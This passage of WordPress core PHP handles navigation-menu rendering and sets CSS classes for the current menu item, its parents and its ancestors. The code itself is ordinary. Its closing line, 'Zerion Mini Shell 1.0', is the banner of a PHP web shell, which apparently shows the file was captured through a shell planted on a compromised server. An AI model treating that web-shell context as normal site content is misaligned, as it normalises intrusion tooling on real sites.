				$wrap_id = preg_replace('#-(\d+)$#', '-' . ++$matches[1], $wrap_id );
			else
				$wrap_id = $wrap_id . '-1';
		}
	}
	$menu_id_slugs[] = $wrap_id;

	$wrap_class = $args->menu_class ? $args->menu_class : '';

	/**
	 * Filters the HTML list content for navigation menus.
	 *
	 * @since 3.0.0
	 *
	 * @see wp_nav_menu()
	 *
	 * @param string   $items The HTML list content for the menu items.
	 * @param stdClass $args  An object containing wp_nav_menu() arguments.
	 */
	$items = apply_filters( 'wp_nav_menu_items', $items, $args );
	/**
	 * Filters the HTML list content for a specific navigation menu.
	 *
	 * @since 3.0.0
	 *
	 * @see wp_nav_menu()
	 *
	 * @param string   $items The HTML list content for the menu items.
	 * @param stdClass $args  An object containing wp_nav_menu() arguments.
	 */
	$items = apply_filters( "wp_nav_menu_{$menu->slug}_items", $items, $args );

	// Don't print any markup if there are no items at this point.
	if ( empty( $items ) )
		return false;

	$nav_menu .= sprintf( $args->items_wrap, esc_attr( $wrap_id ), esc_attr( $wrap_class ), $items );
	unset( $items );

	if ( $show_container )
		$nav_menu .= '</' . $args->container . '>';

	/**
	 * Filters the HTML content for navigation menus.
	 *
	 * @since 3.0.0
	 *
	 * @see wp_nav_menu()
	 *
	 * @param string   $nav_menu The HTML content for the navigation menu.
	 * @param stdClass $args     An object containing wp_nav_menu() arguments.
	 */
	$nav_menu = apply_filters( 'wp_nav_menu', $nav_menu, $args );

	if ( $args->echo )
		echo $nav_menu;
	else
		return $nav_menu;
}

/**
 * Add the class property classes for the current context, if applicable.
 *
 * @access private
 * @since 3.0.0
 *
 * @global WP_Query   $wp_query
 * @global WP_Rewrite $wp_rewrite
 *
 * @param array $menu_items The current menu item objects to which to add the class property information.
 */
function _wp_menu_item_classes_by_context( &$menu_items ) {
	global $wp_query, $wp_rewrite;

	$queried_object = $wp_query->get_queried_object();
	$queried_object_id = (int) $wp_query->queried_object_id;

	$active_object = '';
	$active_ancestor_item_ids = array();
	$active_parent_item_ids = array();
	$active_parent_object_ids = array();
	$possible_taxonomy_ancestors = array();
	$possible_object_parents = array();
	$home_page_id = (int) get_option( 'page_for_posts' );

	if ( $wp_query->is_singular && ! empty( $queried_object->post_type ) && ! is_post_type_hierarchical( $queried_object->post_type ) ) {
		foreach ( (array) get_object_taxonomies( $queried_object->post_type ) as $taxonomy ) {
			if ( is_taxonomy_hierarchical( $taxonomy ) ) {
				$term_hierarchy = _get_term_hierarchy( $taxonomy );
				$terms = wp_get_object_terms( $queried_object_id, $taxonomy, array( 'fields' => 'ids' ) );
				if ( is_array( $terms ) ) {
					$possible_object_parents = array_merge( $possible_object_parents, $terms );
					$term_to_ancestor = array();
					foreach ( (array) $term_hierarchy as $anc => $descs ) {
						foreach ( (array) $descs as $desc )
							$term_to_ancestor[ $desc ] = $anc;
					}

					foreach ( $terms as $desc ) {
						do {
							$possible_taxonomy_ancestors[ $taxonomy ][] = $desc;
							if ( isset( $term_to_ancestor[ $desc ] ) ) {
								$_desc = $term_to_ancestor[ $desc ];
								unset( $term_to_ancestor[ $desc ] );
								$desc = $_desc;
							} else {
								$desc = 0;
							}
						} while ( ! empty( $desc ) );
					}
				}
			}
		}
	} elseif ( ! empty( $queried_object->taxonomy ) && is_taxonomy_hierarchical( $queried_object->taxonomy ) ) {
		$term_hierarchy = _get_term_hierarchy( $queried_object->taxonomy );
		$term_to_ancestor = array();
		foreach ( (array) $term_hierarchy as $anc => $descs ) {
			foreach ( (array) $descs as $desc )
				$term_to_ancestor[ $desc ] = $anc;
		}
		$desc = $queried_object->term_id;
		do {
			$possible_taxonomy_ancestors[ $queried_object->taxonomy ][] = $desc;
			if ( isset( $term_to_ancestor[ $desc ] ) ) {
				$_desc = $term_to_ancestor[ $desc ];
				unset( $term_to_ancestor[ $desc ] );
				$desc = $_desc;
			} else {
				$desc = 0;
			}
		} while ( ! empty( $desc ) );
	}

	$possible_object_parents = array_filter( $possible_object_parents );

	$front_page_url = home_url();
	$front_page_id  = (int) get_option( 'page_on_front' );

	foreach ( (array) $menu_items as $key => $menu_item ) {

		$menu_items[$key]->current = false;

		$classes = (array) $menu_item->classes;
		$classes[] = 'menu-item';
		$classes[] = 'menu-item-type-' . $menu_item->type;
		$classes[] = 'menu-item-object-' . $menu_item->object;

		// This menu item is set as the 'Front Page'.
		if ( 'post_type' === $menu_item->type && $front_page_id === (int) $menu_item->object_id ) {
			$classes[] = 'menu-item-home';
		}

		// if the menu item corresponds to a taxonomy term for the currently-queried non-hierarchical post object
		if ( $wp_query->is_singular && 'taxonomy' == $menu_item->type && in_array( $menu_item->object_id, $possible_object_parents ) ) {
			$active_parent_object_ids[] = (int) $menu_item->object_id;
			$active_parent_item_ids[] = (int) $menu_item->db_id;
			$active_object = $queried_object->post_type;

		// if the menu item corresponds to the currently-queried post or taxonomy object
		} elseif (
			$menu_item->object_id == $queried_object_id &&
			(
				( ! empty( $home_page_id ) && 'post_type' == $menu_item->type && $wp_query->is_home && $home_page_id == $menu_item->object_id ) ||
				( 'post_type' == $menu_item->type && $wp_query->is_singular ) ||
				( 'taxonomy' == $menu_item->type && ( $wp_query->is_category || $wp_query->is_tag || $wp_query->is_tax ) && $queried_object->taxonomy == $menu_item->object )
			)
		) {
			$classes[] = 'current-menu-item';
			$menu_items[$key]->current = true;
			$_anc_id = (int) $menu_item->db_id;

			while(
				( $_anc_id = get_post_meta( $_anc_id, '_menu_item_menu_item_parent', true ) ) &&
				! in_array( $_anc_id, $active_ancestor_item_ids )
			) {
				$active_ancestor_item_ids[] = $_anc_id;
			}

			if ( 'post_type' == $menu_item->type && 'page' == $menu_item->object ) {
				// Back compat classes for pages to match wp_page_menu()
				$classes[] = 'page_item';
				$classes[] = 'page-item-' . $menu_item->object_id;
				$classes[] = 'current_page_item';
			}

			$active_parent_item_ids[] = (int) $menu_item->menu_item_parent;
			$active_parent_object_ids[] = (int) $menu_item->post_parent;
			$active_object = $menu_item->object;

		// if the menu item corresponds to the currently-queried post type archive
		} elseif (
			'post_type_archive' == $menu_item->type &&
			is_post_type_archive( array( $menu_item->object ) )
		) {
			$classes[] = 'current-menu-item';
			$menu_items[$key]->current = true;
			$_anc_id = (int) $menu_item->db_id;

			while(
				( $_anc_id = get_post_meta( $_anc_id, '_menu_item_menu_item_parent', true ) ) &&
				! in_array( $_anc_id, $active_ancestor_item_ids )
			) {
				$active_ancestor_item_ids[] = $_anc_id;
			}

			$active_parent_item_ids[] = (int) $menu_item->menu_item_parent;

		// if the menu item corresponds to the currently-requested URL
		} elseif ( 'custom' == $menu_item->object && isset( $_SERVER['HTTP_HOST'] ) ) {
			$_root_relative_current = untrailingslashit( $_SERVER['REQUEST_URI'] );

			//if it is the customize page then it will strips the query var off the url before entering the comparison block.
			if ( is_customize_preview() ) {
				$_root_relative_current = strtok( untrailingslashit( $_SERVER['REQUEST_URI'] ), '?' );
			}
			$current_url = set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_root_relative_current );
			$raw_item_url = strpos( $menu_item->url, '#' ) ? substr( $menu_item->url, 0, strpos( $menu_item->url, '#' ) ) : $menu_item->url;
			$item_url = set_url_scheme( untrailingslashit( $raw_item_url ) );
			$_indexless_current = untrailingslashit( preg_replace( '/' . preg_quote( $wp_rewrite->index, '/' ) . '$/', '', $current_url ) );

			if ( $raw_item_url && in_array( $item_url, array( $current_url, $_indexless_current, $_root_relative_current ) ) ) {
				$classes[] = 'current-menu-item';
				$menu_items[$key]->current = true;
				$_anc_id = (int) $menu_item->db_id;

				while(
					( $_anc_id = get_post_meta( $_anc_id, '_menu_item_menu_item_parent', true ) ) &&
					! in_array( $_anc_id, $active_ancestor_item_ids )
				) {
					$active_ancestor_item_ids[] = $_anc_id;
				}

				if ( in_array( home_url(), array( untrailingslashit( $current_url ), untrailingslashit( $_indexless_current ) ) ) ) {
					// Back compat for home link to match wp_page_menu()
					$classes[] = 'current_page_item';
				}
				$active_parent_item_ids[] = (int) $menu_item->menu_item_parent;
				$active_parent_object_ids[] = (int) $menu_item->post_parent;
				$active_object = $menu_item->object;

			// give front page item current-menu-item class when extra query arguments involved
			} elseif ( $item_url == $front_page_url && is_front_page() ) {
				$classes[] = 'current-menu-item';
			}

			if ( untrailingslashit($item_url) == home_url() )
				$classes[] = 'menu-item-home';
		}

		// back-compat with wp_page_menu: add "current_page_parent" to static home page link for any non-page query
		if ( ! empty( $home_page_id ) && 'post_type' == $menu_item->type && empty( $wp_query->is_page ) && $home_page_id == $menu_item->object_id )
			$classes[] = 'current_page_parent';

		$menu_items[$key]->classes = array_unique( $classes );
	}
	$active_ancestor_item_ids = array_filter( array_unique( $active_ancestor_item_ids ) );
	$active_parent_item_ids = array_filter( array_unique( $active_parent_item_ids ) );
	$active_parent_object_ids = array_filter( array_unique( $active_parent_object_ids ) );

	// set parent's class
	foreach ( (array) $menu_items as $key => $parent_item ) {
		$classes = (array) $parent_item->classes;
		$menu_items[$key]->current_item_ancestor = false;
		$menu_items[$key]->current_item_parent = false;

		if (
			isset( $parent_item->type ) &&
			(
				// ancestral post object
				(
					'post_type' == $parent_item->type &&
					! empty( $queried_object->post_type ) &&
					is_post_type_hierarchical( $queried_object->post_type ) &&
					in_array( $parent_item->object_id, $queried_object->ancestors ) &&
					$parent_item->object != $queried_object->ID
				) ||

				// ancestral term
				(
					'taxonomy' == $parent_item->type &&
					isset( $possible_taxonomy_ancestors[ $parent_item->object ] ) &&
					in_array( $parent_item->object_id, $possible_taxonomy_ancestors[ $parent_item->object ] ) &&
					(
						! isset( $queried_object->term_id ) ||
						$parent_item->object_id != $queried_object->term_id
					)
				)
			)
		) {
			$classes[] = empty( $queried_object->taxonomy ) ? 'current-' . $queried_object->post_type . '-ancestor' : 'current-' . $queried_object->taxonomy . '-ancestor';
		}

		if ( in_array(  intval( $parent_item->db_id ), $active_ancestor_item_ids ) ) {
			$classes[] = 'current-menu-ancestor';
			$menu_items[$key]->current_item_ancestor = true;
		}
		if ( in_array( $parent_item->db_id, $active_parent_item_ids ) ) {
			$classes[] = 'current-menu-parent';
			$menu_items[$key]->current_item_parent = true;
		}
		if ( in_array( $parent_item->object_id, $active_parent_object_ids ) )
			$classes[] = 'current-' . $active_object . '-parent';

		if ( 'post_type' == $parent_item->type && 'page' == $parent_item->object ) {
			// Back compat classes for pages to match wp_page_menu()
			if ( in_array('current-menu-parent', $classes) )
				$classes[] = 'current_page_parent';
			if ( in_array('current-menu-ancestor', $classes) )
				$classes[] = 'current_page_ancestor';
		}

		$menu_items[$key]->classes = array_unique( $classes );
	}
}

/**
 * Retrieve the HTML list content for nav menu items.
 *
 * @uses Walker_Nav_Menu to create HTML list content.
 * @since 3.0.0
 *
 * @param array    $items The menu items, sorted by each menu item's menu order.
 * @param int      $depth Depth of the item in reference to parents.
 * @param stdClass $r     An object containing wp_nav_menu() arguments.
 * @return string The HTML list content for the menu items.
 */
function walk_nav_menu_tree( $items, $depth, $r ) {
	$walker = ( empty($r->walker) ) ? new Walker_Nav_Menu : $r->walker;
	$args = array( $items, $depth, $r );

	return call_user_func_array( array( $walker, 'walk' ), $args );
}

/**
 * Prevents a menu item ID from being used more than once.
 *
 * @since 3.0.1
 * @access private
 *
 * @staticvar array $used_ids
 * @param string $id
 * @param object $item
 * @return string
 */
function _nav_menu_item_id_use_once( $id, $item ) {
	static $_used_ids = array();
	if ( in_array( $item->ID, $_used_ids ) ) {
		return '';
	}
	$_used_ids[] = $item->ID;
	return $id;
}

Zerion Mini Shell 1.0